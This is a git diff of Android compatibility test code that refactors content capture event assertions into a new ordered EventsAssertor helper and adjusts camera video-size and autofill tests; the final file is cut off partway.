@@ -397,7 +397,7 @@
mUiBot.assertSuggestion("Username" + firstDataset);
// Scroll the suggestion view
- mUiBot.scrollSuggestionView(Direction.RIGHT, /* speed */ 5000);
+ mUiBot.scrollSuggestionView(Direction.RIGHT, /* speed */ 3000);
mUiBot.waitForIdleSync();
mUiBot.assertNoSuggestion("Username" + firstDataset);
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index db1f9a2..774477d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -1367,13 +1367,16 @@
* Initialize the supported video sizes.
*/
private void initSupportedVideoSize(String cameraId) throws Exception {
- Size maxVideoSize = SIZE_BOUND_1080P;
- if (CamcorderProfile.hasProfile(CamcorderProfile.QUALITY_2160P)) {
+ int id = Integer.valueOf(cameraId);
+ Size maxVideoSize = SIZE_BOUND_720P;
+ if (CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_2160P)) {
maxVideoSize = SIZE_BOUND_2160P;
- } else if (CamcorderProfile.hasProfile(CamcorderProfile.QUALITY_QHD)) {
+ } else if (CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_QHD)) {
maxVideoSize = SIZE_BOUND_QHD;
- } else if (CamcorderProfile.hasProfile(CamcorderProfile.QUALITY_2K)) {
+ } else if (CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_2K)) {
maxVideoSize = SIZE_BOUND_2K;
+ } else if (CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_1080P)) {
+ maxVideoSize = SIZE_BOUND_1080P;
}
mSupportedVideoSizes =
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 8f5a7b7..cfc857e 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -104,6 +104,7 @@
private static final String TAG = "CameraTestUtils";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
private static final boolean DEBUG = Log.isLoggable(TAG, Log.DEBUG);
+ public static final Size SIZE_BOUND_720P = new Size(1280, 720);
public static final Size SIZE_BOUND_1080P = new Size(1920, 1088);
public static final Size SIZE_BOUND_2K = new Size(2048, 1088);
public static final Size SIZE_BOUND_QHD = new Size(2560, 1440);
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java b/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java
index 5025762..ef10de5 100644
--- a/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java
@@ -16,9 +16,19 @@
package android.contentcaptureservice.cts2;
import android.app.Activity;
+import android.os.Handler;
+import android.os.Looper;
/**
* This activity is used to test temporary Content Capture Service interactions with activities
* outside of its own package. It is intentionally empty.
*/
-public class OutsideOfPackageActivity extends Activity { }
+public class OutsideOfPackageActivity extends Activity {
+
+ @Override
+ public void onAttachedToWindow() {
+ super.onAttachedToWindow();
+ // finish activity after displayed.
+ new Handler(Looper.getMainLooper()).post(() -> finish());
+ }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
index f340e2c..4a32dad 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
@@ -49,7 +49,9 @@
import com.android.compatibility.common.util.RetryableException;
+import java.util.Collections;
import java.util.List;
+import java.util.stream.Collectors;
/**
* Helper for common assertions.
@@ -267,7 +269,7 @@
assertWithMessage("event %s (index %s) should not have a ViewNode", event, index)
.that(event.getViewNode()).isNull();
assertWithMessage("event %s (index %s) should not have text", event, index)
- .that(event.getViewNode()).isNull();
+ .that(event.getText()).isNull();
assertWithMessage("event %s (index %s) should not have an autofillId", event, index)
.that(event.getId()).isNull();
assertWithMessage("event %s (index %s) should not have autofillIds", event, index)
@@ -297,7 +299,7 @@
public static void assertNoViewLevelEvents(@NonNull Session session,
@NonNull AbstractContentCaptureActivity activity) {
assertRightActivity(session, session.id, activity);
- final List<ContentCaptureEvent> events = session.getEvents();
+ final List<ContentCaptureEvent> events = removeBoundsAndInsetsEvents(session.getEvents());
Log.v(TAG, "events on " + activity + ": " + events);
assertThat(events).hasSize(2);
assertSessionResumed(events, 0);
@@ -305,6 +307,24 @@
}
/**
+ * This method is used to remove Bounds and Insets changed events if the test should only
+ * contain session level events.
+ * In special case, there are some events, such as {@link #TYPE_WINDOW_BOUNDS_CHANGED}
+ * and {@link #TYPE_VIEW_INSETS_CHANGED}, will be accidentally generated by
+ * the system. Because these events were not expected in the test, remove
+ * them if needed.
+ */
+ public static List<ContentCaptureEvent> removeBoundsAndInsetsEvents(
+ @NonNull List<ContentCaptureEvent> events) {
+ return Collections.unmodifiableList(events).stream().filter(
+ e -> e.getType() != TYPE_WINDOW_BOUNDS_CHANGED
+ && e.getType() != TYPE_VIEW_INSETS_CHANGED
+ && e.getType() != TYPE_VIEW_TREE_APPEARING
+ && e.getType() != TYPE_VIEW_TREE_APPEARED
+ ).collect(Collectors.toList());
+ }
+
+ /**
* Asserts that a session for the given activity has events at all.
*/
public static void assertNoEvents(@NonNull Session session,
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java
index 81198f7..891aefa 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java
@@ -15,23 +15,13 @@
*/
package android.contentcaptureservice.cts;
-import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
-import static android.contentcaptureservice.cts.Assertions.assertSessionPaused;
-import static android.contentcaptureservice.cts.Assertions.assertSessionResumed;
-import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
-import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
-import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
-import static android.contentcaptureservice.cts.Assertions.assertViewsOptionallyDisappeared;
-
-import static com.google.common.truth.Truth.assertThat;
import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
import android.util.Log;
import android.view.View;
import android.view.contentcapture.ContentCaptureEvent;
import android.view.contentcapture.ContentCaptureSessionId;
-import android.view.contentcapture.ViewNode;
import androidx.annotation.NonNull;
@@ -51,20 +41,13 @@
final List<ContentCaptureEvent> events = session.getEvents();
Log.v(TAG, "events(" + events.size() + "): " + events);
- final int minEvents = 9; // TODO(b/122315042): disappeared not always sent
- assertThat(events.size()).isAtLeast(minEvents);
-
- assertSessionResumed(events, 0);
- assertViewTreeStarted(events, 1);
- assertDecorViewAppeared(events, 2, decorView);
- // TODO(b/123540067): ignoring 3 intermediate parents
- final ViewNode title = assertViewAppeared(events, 6).getViewNode();
- assertThat(title.getText()).isEqualTo("Blanka");
- assertViewTreeFinished(events, 7);
- assertSessionPaused(events, 8);
- if (false) { // TODO(b/123540067): disabled because it includes the parent
- assertViewsOptionallyDisappeared(events, minEvents, decorView.getAutofillId(),
- title.getAutofillId());
- }
+ new EventsAssertor(events)
+ .isAtLeast(9)
+ .assertSessionResumed()
+ .assertViewTreeStarted()
+ .assertDecorViewAppeared(decorView)
+ .assertViewAppeared("Blanka")
+ .assertViewTreeFinished()
+ .assertSessionPaused();
}
}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
index 5beb910..41c01ba 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
@@ -18,7 +18,6 @@
import static android.contentcaptureservice.cts.Assertions.LifecycleOrder.CREATION;
import static android.contentcaptureservice.cts.Assertions.LifecycleOrder.DESTRUCTION;
import static android.contentcaptureservice.cts.Assertions.assertChildSessionContext;
-import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
import static android.contentcaptureservice.cts.Assertions.assertLifecycleOrder;
import static android.contentcaptureservice.cts.Assertions.assertMainSessionContext;
import static android.contentcaptureservice.cts.Assertions.assertNoViewLevelEvents;
@@ -30,6 +29,7 @@
import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
import static android.contentcaptureservice.cts.Assertions.assertViewsDisappeared;
+import static android.contentcaptureservice.cts.Assertions.removeBoundsAndInsetsEvents;
import static android.contentcaptureservice.cts.Helper.newImportantView;
import static android.contentcaptureservice.cts.Helper.sContext;
@@ -177,7 +177,6 @@
activity2.assertDefaultEvents(session2);
}
-
@Test
public void testLaunchAnotherActivity_onTopOfIt() throws Exception {
final CtsContentCaptureService service = enableService();
@@ -208,10 +207,8 @@
.activityResumed(name1)
.activityPaused(name1)
.activityResumed(name2)
- .activityStopped(name1)
.activityPaused(name2)
.activityResumed(name1)
- .activityDestroyed(name2)
.activityPaused(name1);
// Assert the sessions
@@ -223,7 +220,7 @@
Log.v(TAG, "session id2: " + sessionId2);
final Session session1 = service.getFinishedSession(sessionId1);
- final List<ContentCaptureEvent> events1 = session1.getEvents();
+ final List<ContentCaptureEvent> events1 = removeBoundsAndInsetsEvents(session1.getEvents());
Log.v(TAG, "events on " + activity1 + ": " + events1);
assertThat(events1).hasSize(4);
assertSessionResumed(events1, 0);
@@ -314,20 +311,20 @@
final View grandpa2 = activity.getGrandGrandParent();
final View decorView = activity.getDecorView();
- // Assert just the relevant events
- assertThat(events.size()).isAtLeast(12);
- assertSessionResumed(events, 0);
- assertViewTreeStarted(events, 1);
- assertDecorViewAppeared(events, 2, decorView);
- assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
- assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
- assertViewAppeared(events, 5, sessionId, rootView, grandpa1.getAutofillId());
- assertViewAppeared(events, 6, sessionId, child, rootId);
- assertViewTreeFinished(events, 7);
- assertViewTreeStarted(events, 8);
- assertViewDisappeared(events, 9, child.getAutofillId());
- assertViewTreeFinished(events, 10);
- assertSessionPaused(events, 11);
+ new EventsAssertor(events)
+ .isAtLeast(12)
+ .assertSessionResumed()
+ .assertViewTreeStarted()
+ .assertDecorViewAppeared(decorView)
+ .assertViewAppeared(grandpa2, decorView.getAutofillId())
+ .assertViewAppeared(grandpa1, grandpa2.getAutofillId())
+ .assertViewAppeared(sessionId, rootView, grandpa1.getAutofillId())
+ .assertViewAppeared(sessionId, child, rootId)
+ .assertViewTreeFinished()
+ .assertViewTreeStarted()
+ .assertViewDisappeared(child.getAutofillId())
+ .assertViewTreeFinished()
+ .assertSessionPaused();
// TODO(b/122315042): assert parents disappeared
}
@@ -360,15 +357,14 @@
final View grandpa = activity.getGrandParent();
// Assert just the relevant events
-
- assertThat(events.size()).isAtLeast(6);
- // TODO(b/122959591): figure out the child is coming first
- assertSessionResumed(events, 0);
- assertViewTreeStarted(events, 1);
- assertViewAppeared(events, 2, sessionId, child, rootView.getAutofillId());
- assertViewAppeared(events, 3, sessionId, rootView, grandpa.getAutofillId());
- assertViewTreeFinished(events, 4);
- assertSessionPaused(events, 5);
+ new EventsAssertor(events)
+ .isAtLeast(6)
+ .assertSessionResumed()
+ .assertViewTreeStarted()
+ .assertViewAppeared(sessionId, child, rootView.getAutofillId())
+ .assertViewAppeared(sessionId, rootView, grandpa.getAutofillId())
+ .assertViewTreeFinished()
+ .assertSessionPaused();
}
@Test
@@ -410,22 +406,25 @@
final List<ContentCaptureEvent> mainEvents = mainTestSession.getEvents();
Log.v(TAG, "mainEvents(" + mainEvents.size() + "): " + mainEvents);
- assertThat(mainEvents.size()).isAtLeast(5);
- assertSessionResumed(mainEvents, 0);
- assertViewTreeStarted(mainEvents, 1);
- assertViewAppeared(mainEvents, 2, mainSessionId, rootView, grandpa.getAutofillId());
- assertViewTreeFinished(mainEvents, 3);
- assertSessionPaused(mainEvents, 4);
+ new EventsAssertor(mainEvents)
+ .isAtLeast(5)
+ .assertSessionResumed()
+ .assertViewTreeStarted()
+ .assertViewAppeared(mainSessionId, rootView, grandpa.getAutofillId())
+ .assertViewTreeFinished()
+ .assertSessionPaused();
final Session childTestSession = service.getFinishedSession(childSessionId);
assertChildSessionContext(childTestSession, "child");
final List<ContentCaptureEvent> childEvents = childTestSession.getEvents();
Log.v(TAG, "childEvents(" + childEvents.size() + "): " + childEvents);
final int minEvents = 3;
- assertThat(childEvents.size()).isAtLeast(minEvents);
- assertViewTreeStarted(childEvents, 0);
- assertViewAppeared(childEvents, 1, childSessionId, child, rootView.getAutofillId());
- assertViewTreeFinished(childEvents, 2);
+ new EventsAssertor(childEvents)
+ .isAtLeast(3)
+ .assertViewTreeStarted()
+ .assertViewAppeared(childSessionId, child, rootView.getAutofillId())
+ .assertViewTreeFinished();
+
// TODO(b/122315042): assert parents disappeared
}
@@ -728,37 +727,40 @@
final AutofillId rootId = rootView.getAutofillId();
final View grandpa = activity.getGrandParent();
- assertThat(mainEvents).hasSize(8);
- assertSessionResumed(mainEvents, 0);
- assertViewTreeStarted(mainEvents, 1);
- assertViewAppeared(mainEvents, 2, rootView, grandpa.getAutofillId());
- assertViewTreeFinished(mainEvents, 3);
- assertSessionPaused(mainEvents, 4); // TODO(b/122959591): investigate why
- assertViewTreeStarted(mainEvents, 5);
- assertViewDisappeared(mainEvents, 6, rootId);
- assertViewTreeFinished(mainEvents, 7);
+ new EventsAssertor(mainEvents)
+ .isAtLeast(8)
+ .assertSessionResumed()
+ .assertViewTreeStarted()
+ .assertViewAppeared(rootView, grandpa.getAutofillId())
+ .assertViewTreeFinished()
+ .assertSessionPaused()
+ .assertViewTreeStarted()
+ .assertViewDisappeared(rootId)
+ .assertViewTreeFinished();
- assertThat(events1).hasSize(3);
- assertViewTreeStarted(events1, 0);
- assertViewAppeared(events1, 1, s1c1, rootId);
- assertViewTreeFinished(events1, 2);
+ new EventsAssertor(events1)
+ .isAtLeast(3)
+ .assertViewTreeStarted()
+ .assertViewAppeared(s1c1, rootId)
+ .assertViewTreeFinished();
- assertThat(events2.size()).isAtLeast(4);
- assertViewTreeStarted(events2, 0);
- assertViewAppeared(events2, 1, s2c1, rootId);
- assertViewAppeared(events2, 2, s2c2, rootId);
- assertViewTreeFinished(events2, 3);
- // TODO(b/122315042): assert parents disappeared
+ new EventsAssertor(events2)
+ .isAtLeast(4)
+ .assertViewTreeStarted()
+ .assertViewAppeared(s2c1, rootId)
+ .assertViewAppeared(s2c2, rootId)
+ .assertViewTreeFinished();
- assertThat(events3).hasSize(8);
- assertViewTreeStarted(events3, 0);
- assertViewAppeared(events3, 1, s3c1, rootId);
- assertViewAppeared(events3, 2, s3c2, rootId);
- assertViewTreeFinished(events3, 3);
- assertViewTreeStarted(events3, 4);
- assertViewDisappeared(events3, 5, s3c1.getAutofillId());
- assertViewAppeared(events3, 6, s3c3, rootId);
- assertViewTreeFinished(events3, 7);
+ new EventsAssertor(events3)
+ .isAtLeast(8)
+ .assertViewTreeStarted()
+ .assertViewAppeared(s3c1, rootId)
+ .assertViewAppeared(s3c2, rootId)
+ .assertViewTreeFinished()
+ .assertViewTreeStarted()
+ .assertViewDisappeared(s3c1.getAutofillId())
+ .assertViewAppeared(s3c3, rootId)
+ .assertViewTreeFinished();
final Session childTestSession4 = service.getFinishedSession(childSessionId4);
assertChildSessionContext(childTestSession4, "session4");
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
index 74429de..ad79e02 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
@@ -15,17 +15,9 @@
*/
package android.contentcaptureservice.cts;
-import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
-import static android.contentcaptureservice.cts.Assertions.assertSessionPaused;
-import static android.contentcaptureservice.cts.Assertions.assertSessionResumed;
-import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
import static android.contentcaptureservice.cts.Assertions.assertViewTextChanged;
-import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
-import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
-import static android.contentcaptureservice.cts.Assertions.assertViewWithUnknownParentAppeared;
import static android.contentcaptureservice.cts.Assertions.assertVirtualViewAppeared;
-import static android.contentcaptureservice.cts.Assertions.assertVirtualViewDisappeared;
import static android.contentcaptureservice.cts.Assertions.assertVirtualViewsDisappeared;
import static android.contentcaptureservice.cts.Helper.MY_PACKAGE;
import static android.contentcaptureservice.cts.Helper.NO_ACTIVITIES;
@@ -149,24 +141,19 @@
Log.v(TAG, "events(" + events.size() + "): " + events);
final int additionalEvents = 2;
- assertThat(events.size()).isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents);
-
- // Assert just the relevant events
- assertSessionResumed(events, 0);
- assertViewTreeStarted(events, 1);
- assertDecorViewAppeared(events, 2, decorView);
- assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
- assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
-
- // Assert for session lifecycle events.
- assertSessionResumed(events, 5);
- assertSessionPaused(events, 6);
-
- assertViewWithUnknownParentAppeared(events, 7, session.id, customViewRef.get());
- assertViewTreeFinished(events, 8);
- assertSessionPaused(events, 9);
-
- activity.assertInitialViewsDisappeared(events, additionalEvents);
+ new EventsAssertor(events)
+ .isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents)
+ .assertSessionResumed()
+ .assertViewTreeStarted()
+ .assertDecorViewAppeared(decorView)
+ .assertViewAppeared(grandpa2, decorView.getAutofillId())
+ .assertViewAppeared(grandpa1, grandpa2.getAutofillId())
+ // Assert for session lifecycle events.
+ .assertSessionResumed()
+ .assertSessionPaused()
+ .assertViewAppeared(session.id, customViewRef.get())
+ .assertViewTreeFinished()
+ .assertSessionPaused();
}
/**
@@ -218,27 +205,20 @@
final List<ContentCaptureEvent> events = session.getEvents();
Log.v(TAG, "events(" + events.size() + "): " + events);
final int additionalEvents = 2;
-
- assertThat(events.size()).isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents);
-
- // Assert just the relevant events
- assertSessionResumed(events, 0);
- assertViewTreeStarted(events, 1);
- assertDecorViewAppeared(events, 2, decorView);
- assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
- assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
-
final ContentCaptureSession mainSession = activity.mCustomView.getContentCaptureSession();
- assertVirtualViewAppeared(events, 5, mainSession, customViewId, 1, "child");
- assertVirtualViewDisappeared(events, 6, customViewId, mainSession, 1);
- // This is the "wrong" part - the parent is notified last
- assertViewWithUnknownParentAppeared(events, 7, session.id, activity.mCustomView);
-
- assertViewTreeFinished(events, 8);
- assertSessionPaused(events, 9);
-
- activity.assertInitialViewsDisappeared(events, additionalEvents);
+ new EventsAssertor(events)
+ .isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents)
+ .assertSessionResumed()
+ .assertViewTreeStarted()
+ .assertDecorViewAppeared(decorView)
+ .assertViewAppeared(grandpa2, decorView.getAutofillId())
+ .assertViewAppeared(grandpa1, grandpa2.getAutofillId())
+ .assertVirtualViewAppeared(mainSession, customViewId, 1, "child")
+ .assertVirtualViewDisappeared(customViewId, mainSession, 1)
+ .assertViewAppeared(session.id, activity.mCustomView)
+ .assertViewTreeFinished()
+ .assertSessionPaused();
}
/**
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/EventsAssertor.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/EventsAssertor.java
new file mode 100644
index 0000000..d00b031
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/EventsAssertor.java
@@ -0,0 +1,390 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Assertions.assertSessionId;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.text.TextUtils;
+import android.util.Log;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.view.contentcapture.ContentCaptureEvent;
+import android.view.contentcapture.ContentCaptureSession;
+import android.view.contentcapture.ContentCaptureSessionId;
+import android.view.contentcapture.ViewNode;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * Used to assert Content Capture events by the event order.
+ *
+ * When the type is the same, the assertor will assert the content of the event.
+ * If the current event is different type, this event will be skipped, and then
+ * try to assert the next event. Through all events, the assertor will report an
+ * "not found" error.
+ */
+public class EventsAssertor {
+ private static final String TAG = "CtsContentCapture";
+ private final List<ContentCaptureEvent> mEvents;
+ private int mNextEvent = 0;
+
+ public EventsAssertor(@NonNull List<ContentCaptureEvent> events) {
+ mEvents = Collections.unmodifiableList(events);
+ }
+
+ @NonNull
+ public EventsAssertor isAtLeast(int size) {
+ assertThat(mEvents.size()).isAtLeast(size);
+ return this;
+ }
+
+ /**
+ * Asserts the contents of a {@link ContentCaptureEvent#TYPE_SESSION_RESUMED} event.
+ */
+ @NonNull
+ public EventsAssertor assertSessionResumed() {
+ assertNextEvent((event) -> assertSessionLevelEvent(event),
+ ContentCaptureEvent.TYPE_SESSION_RESUMED, "no SESSION_RESUMED event");
+ return this;
+ }
+
+ /**
+ * Asserts the contents of a {@link ContentCaptureEvent#TYPE_SESSION_PAUSED} event.
+ */
+ @NonNull
+ public EventsAssertor assertSessionPaused() {
+ assertNextEvent((event) -> assertSessionLevelEvent(event),
+ ContentCaptureEvent.TYPE_SESSION_PAUSED, "no SESSION_PAUSED event");
+ return this;
+ }
+
+ /**
+ * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_TREE_APPEARING} event.
+ */
+ @NonNull
+ public EventsAssertor assertViewTreeStarted() {
+ assertNextEvent((event) -> assertSessionLevelEvent(event),
+ ContentCaptureEvent.TYPE_VIEW_TREE_APPEARING, "no VIEW_TREE_APPEARING event");
+ return this;
+ }
+
+ /**
+ * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_TREE_APPEARED} event.
+ */
+ @NonNull
+ public EventsAssertor assertViewTreeFinished() {
+ assertNextEvent((event) -> assertSessionLevelEvent(event),
+ ContentCaptureEvent.TYPE_VIEW_TREE_APPEARED,
+ "no VIEW_TREE_APPEARED event");
+ return this;
+ }
+
+ /**
+ * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED}
+ * event for a decor view.
+ *
+ * <P>The decor view is typically internal, so there isn't much we can assert,
+ * other than its autofill id.
+ */
+ @NonNull
+ public EventsAssertor assertDecorViewAppeared(@NonNull View expectedDecorView) {
+ assertNextEvent((event) -> assertEventId(event, expectedDecorView),
+ ContentCaptureEvent.TYPE_VIEW_APPEARED,
+ "no VIEW_APPEARED event for decor view");
+ return this;
+ }
+
+ /**
+ * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED}
+ * event, without checking for parent id.
+ */
+ @NonNull
+ public EventsAssertor assertViewAppeared(@NonNull View expectedView) {
+ assertNextEvent((event) -> assertViewEvent(event, expectedView),
+ ContentCaptureEvent.TYPE_VIEW_APPEARED,
+ String.format("no VIEW_APPEARED event for %s", expectedView));
+ return this;
+ }
+
+ /**
+ * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED} event.
+ */
+ @NonNull
+ public EventsAssertor assertViewAppeared(@NonNull View expectedView,
+ @NonNull AutofillId expectedParentId) {
+ assertNextEvent((event) -> assertViewEvent(event, expectedView, expectedParentId),
+ ContentCaptureEvent.TYPE_VIEW_APPEARED,
+ String.format("no VIEW_APPEARED event for %s", expectedView));
+ return this;
+ }
+
+ /**
+ * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED} event.
+ */
+ @NonNull
+ public EventsAssertor assertViewAppeared(@NonNull ContentCaptureSessionId expectedSessionId,
+ @NonNull View expectedView, @NonNull AutofillId expectedParentId) {
+ assertViewAppeared(expectedView, expectedParentId);
+ assertSessionId(expectedSessionId, expectedView);
+ return this;
+ }
+
+
+ /**
+ * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED} event.
+ */
+ @NonNull
+ public EventsAssertor assertViewAppeared(@NonNull ContentCaptureSessionId expectedSessionId,
+ @NonNull View expectedView) {
+ assertViewAppeared(expectedView);
+ assertSessionId(expectedSessionId, expectedView);
+ return this;
+ }
+
+ /**
+ * Asserts the {@code text} of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED}
+ * event.
+ */
+ @NonNull
+ public EventsAssertor assertViewAppeared(@NonNull String text) {
+ assertNextEvent((event) -> assertEventText(event, text),
+ ContentCaptureEvent.TYPE_VIEW_APPEARED,
+ String.format("no TYPE_VIEW_APPEARED event with text: %s", text));
+ return this;
+ }
+
+ /**
+ * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_DISAPPEARED}
+ * event for multiple views.
+ */
+ @NonNull
+ public EventsAssertor assertViewDisappeared(@NonNull AutofillId autofillId) {
+ assertNextEvent((event) -> assertDisappearedEvent(event, autofillId),
+ ContentCaptureEvent.TYPE_VIEW_DISAPPEARED,
+ String.format("no VIEW_DISAPPEARED event for %s", autofillId));
+ return this;
+ }
+
+ /**
+ * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_DISAPPEARED}
+ * event for multiple views.
+ */
+ @NonNull
+ public EventsAssertor assertViewDisappeared(@NonNull AutofillId... autofillIds) {
+ assertNextEvent((event) -> assertDisappearedEvent(event, autofillIds),
+ ContentCaptureEvent.TYPE_VIEW_DISAPPEARED,
+ String.format("no VIEW_DISAPPEARED event for %s", Arrays.toString(autofillIds)));
+ return this;
+ }
+
+ /**
+ * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED}
+ * event for a virtual node.
+ */
+ @NonNull
+ public EventsAssertor assertVirtualViewAppeared(@NonNull ContentCaptureSession session,
+ @NonNull AutofillId parentId, int childId, String expectedText) {
+ final AutofillId expectedId = session.newAutofillId(parentId, childId);
+ assertNextEvent((event) -> assertVirtualViewEvent(event, expectedId, expectedText),
+ ContentCaptureEvent.TYPE_VIEW_APPEARED,
+ String.format("no VIEW_APPEARED event for %s", expectedId.toString()));
+ return this;
+ }
+
+ /**
+ * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_DISAPPEARED}
+ * event for a virtual node.
+ */
+ @NonNull
+ public EventsAssertor assertVirtualViewDisappeared(AutofillId parentId,
+ ContentCaptureSession session, int childId) {
+ return assertViewDisappeared(session.newAutofillId(parentId, childId));
+ }
+
+ @Nullable
+ private String assertVirtualViewEvent(@NonNull ContentCaptureEvent event,
+ @NonNull AutofillId expectedId, @Nullable String expectedText) {
+ final ViewNode node = event.getViewNode();
+ assertThat(node).isNotNull();
+ assertWithMessage("wrong autofill id on %s", event)
+ .that(node.getAutofillId()).isEqualTo(expectedId);
+ if (expectedText != null) {
+ assertWithMessage("wrong text on %s", event)
+ .that(node.getText().toString()).isEqualTo(expectedText);
+ } else {
+ assertWithMessage("%s should not have text", node)
+ .that(node.getText()).isNull();
+ }
+ return null;
+ }
+
+ @Nullable
+ private String assertDisappearedEvent(@NonNull ContentCaptureEvent event,
+ @NonNull AutofillId expectedId) {
+ assertCommonViewDisappearedProperties(event);
+ assertWithMessage("wrong autofillId on event %s", event)
+ .that(event.getId()).isEqualTo(expectedId);
+ assertWithMessage("event %s should not have autofillIds", event)
+ .that(event.getIds()).isNull();
+ return null;
+ }
+
+ @Nullable
+ private String assertDisappearedEvent(@NonNull ContentCaptureEvent event,
+ @NonNull AutofillId[] expectedIds) {
+ final List<AutofillId> ids = event.getIds();
+
+ assertCommonViewDisappearedProperties(event);
+ assertWithMessage("no autofillIds on event %s", event).that(ids)
+ .isNotNull();
+ assertWithMessage("wrong autofillId on event %s", event)
+ .that(ids).containsExactly((Object[]) expectedIds).inOrder();
+ assertWithMessage("event %s should not have autofillId", event)
+ .that(event.getId()).isNull();
+ return null;
+ }
+
+ private void assertCommonViewDisappearedProperties(@NonNull ContentCaptureEvent event) {
+ assertWithMessage("event %s should not have a ViewNode", event)
+ .that(event.getViewNode()).isNull();
+ assertWithMessage("event %s should not have text", event)
+ .that(event.getText()).isNull();
